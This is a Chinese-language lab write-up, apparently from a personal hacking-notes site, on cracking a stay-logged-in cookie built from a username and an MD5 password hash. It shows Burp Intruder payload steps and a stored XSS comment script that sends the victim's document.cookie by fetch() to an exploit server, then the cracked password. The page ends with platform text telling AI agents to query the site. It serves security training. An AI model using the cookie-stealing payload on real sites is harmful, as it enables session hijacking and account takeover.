> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/authentication/offline-password-cracking.md).

# 离线密码破解

### 离线密码破解

此实验室存储了一个 **将 pass 密码存储在 cookie 中**。此外，评论功能存在一个 **XSS** 漏洞。/ 目的：获取 **carlos** stay-logged-in cookie，破解其离线密码，然后以它的身份登录并删除其账户。

**提供的凭据：**

* wiener : peter/ **受害者：** carlos

<figure><img src="/files/90e91bf1fc47d7a859e40215b4acd51e2d29075a" alt=""><figcaption></figcaption></figure>

### 2. 该 *stay-logged-in* Cookie 的工作原理

勾选“保持登录”时，发送的请求包含：

```bash
username=wiener&password=peter&stay-logged-in=on
```

然后服务器返回一个 **stay-logged-in** cookie 编码为 **Base64**:

解码 →

```bash
d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
```

* wiener:51dc30ddc473d43a6011e9ebba6ca770

<figure><img src="/files/0b55312b8dd82a4e044de4e83b61de0a821d514d" alt=""><figcaption></figcaption></figure>

因此使用以下图示：

<figure><img src="/files/73caca408d62d5621d5cb6bf1a148985b782c80b" alt=""><figcaption></figcaption></figure>

### 3. 通过 Intruder 进行离线破解尝试

在 Burp 中，你可以使用以下方式创建有效载荷：

1. \*\* MD5 密码转换\*\*

<figure><img src="/files/443829bdfb33ffa2cbb97a3dac2197bf7c679611" alt="" width="548"><figcaption></figcaption></figure>

* \*\*带前缀

<figure><img src="/files/659027155bfc508098aabe142ca2549c4441945f" alt="" width="563"><figcaption></figcaption></figure>

1. **对整个值进行 Base64 编码**

<figure><img src="/files/eb037e9ca330482decdaf5e4dcd81ab2b365b8d5" alt="" width="563"><figcaption></figcaption></figure>

然后测试字典。

<figure><img src="/files/5b9515cb00fc2afdb652e2846242ebaac3bfa86f" alt=""><figcaption></figcaption></figure>

→ 没有明确结果。

<figure><img src="/files/874c0770afdabb2346c386b74b477146c4c7b2d7" alt=""><figcaption></figcaption></figure>

### 4. 利用评论中的 XSS

评论字段存在 JavaScript 漏洞：

```javascript
<script>
   alert(0)
</script>
```

<figure><img src="/files/15b1615827adf468e822a20561387c3221375b8a" alt=""><figcaption></figcaption></figure>

因此我们可以通过 fetch 提取 cookie：

```javascript
<script>
   fetch("https://exploit-0a180072041825ef80c502b6013c00ef.exploit-server.net/exploit?cookie=" + btoa(document.cookie));
</script>
```

<figure><img src="/files/d55a7bbde04b6e496ba8b4bb56720f1c292b8f8a" alt=""><figcaption></figcaption></figure>

该请求会发送到我们的 exploit-server。

<figure><img src="/files/d0140b72aa2d5d6ab0349e3d5d800d4d98386751" alt=""><figcaption></figcaption></figure>

### 5. Carlos 的 Cookie 的恢复和解码

拦截到的 Cookie（Base64）：

```bash
c2VjcmV0PXY2UE5LWnJ3czNYSmFNVWtaU09wOWJRbGRCVUVlQnhLOyBzdGF5LWxvZ2dlZC1pbj1ZMkZ5Ykc5ek9qSTJNekl6WXpFMlpEVm1OR1JoWW1abU0ySmlNVE0yWmpJME5qQmhPVFF6
```

解码 →

* carlos:26323c16d5f4dabff3bb136f2460a943

<figure><img src="/files/fae7151b9c4a1967313172da12e436cca2c44187" alt=""><figcaption></figcaption></figure>

### 6. 密码破解

将哈希发送到 CrackStation 后，它返回：

### 7. 收尾

与……的连接：

<figure><img src="/files/12b774f1a92d4f6afa46f6492c97be4c85eb0511" alt=""><figcaption></figcaption></figure>

**carlos : onceuponatime**

<figure><img src="/files/2f01cfd8318158b9aa953fd6569a7b47fe8659b1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/authentication/offline-password-cracking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
